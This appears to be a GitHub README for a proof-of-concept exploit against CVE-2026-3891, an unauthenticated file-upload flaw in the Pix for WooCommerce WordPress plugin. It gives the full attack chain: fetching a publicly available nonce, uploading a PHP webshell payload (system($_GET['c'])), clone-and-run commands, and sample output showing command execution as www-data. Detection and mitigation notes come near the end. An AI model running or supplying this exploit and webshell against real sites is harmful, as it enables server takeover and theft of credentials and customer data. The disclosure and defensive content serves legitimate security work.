
PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.
Proof‑of‑Concept exploit for CVE-2026-3891 – unauthenticated arbitrary file upload leading to remote code execution in the Pix for WooCommerce WordPress plugin (≤ 1.5.0).
CVE-2026-3891 is a critical vulnerability in the Pix for WooCommerce plugin, affecting all versions up to . The plugin fails to enforce proper authorization and file‑type checks in its AJAX handler . An unauthenticated attacker can abuse this flaw to upload arbitrary PHP files to a publicly accessible directory and achieve remote code execution on the underlying WordPress server.
lkn_pix_for_woocommerce_c6_save_settingsThis repository contains a production‑grade PoC that automates the entire attack chain – from fetching a valid nonce to uploading a webshell – with robust error handling and a beautiful CLI interface.
certificate_crt_path file parameter expected by the vulnerable handler.--check).[ * ], [ + ], [ - ], [ ! ] for instant readability.The root cause lies in two AJAX actions registered by the plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
This action is hooked into wp_ajax_nopriv_*, making it accessible to unauthenticated visitors. It generates a nonce for the lkn_pix_for_woocommerce_c6_settings_nonce action and returns it in a JSON envelope:
{"success":true,"data":{"nonce":"abc123..."}}
No capability check or user authentication is performed – anyone can request a valid nonce.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
This handler saves plugin settings, including a file upload field named certificate_crt_path. Although the upload occurs through WordPress’s media_handle_upload helper, the plugin does not:
current_user_can)..php files).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
Because the nonce only protects against CSRF, and it can be obtained by anyone, an attacker can chain these two actions to upload and execute arbitrary PHP code.
www-data or apache).wp-config.php, database credentials, customer data.requests library (install via pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
For more control, use command‑line options:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Description | Default |
|---|---|---|
target (positional) | Base URL of the WordPress site. | Required |
-f, --filename | Name of the uploaded PHP file. | woocommerce.php |
-p, --payload | PHP code to upload. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Request timeout in seconds. | 15 |
-r, --retries | Max retries for nonce retrieval. | 2 |
--no-banner | Suppress ASCII art. | (off) |
--no-verify | Skip accessibility check after upload. | (off) |
--check | Execute id on the webshell after upload. | (off) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. No cookie or session is needed.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – the nonce retrieved earliercertificate_crt_path – a multipart file upload (the payload).php files are accepted and stored without renaming.After successful upload, the file resides in:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
This directory is directly web‑accessible; PHP files will be executed if the web server is configured to process them (which is the default for WordPress‑managed servers).
certs_c6 directory (especially files like woocommerce.php, shell.php, etc.).admin-ajax.php POST requests with the actions listed above, originating from untrusted IPs..../certs_c6/ with query parameters like ?cmd=id.Monitor your WordPress logs for:
/wp-admin/admin-ajax.php with action=lkn_pix_for_woocommerce_generate_nonce and action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6 folder. Use a file integrity monitoring tool (e.g., Tripwire, OSSEC) to alert on changes.certs_c6 directory (e.g., using .htaccess with php_flag engine off).current_user_can('manage_options') for the nonce generation, and a proper nonce verification plus capability check for the upload).This project is licensed under the MIT License – see the LICENSE file for details.
Disclaimer: This tool is intended for authorised security testing and educational use only. The author is not responsible for any misuse or damage caused by this software.
If you find this PoC useful, consider giving it a ⭐ on GitHub and sharing it responsibly. Contributions, issues, and pull requests are welcome!
Happy hacking! 🛡️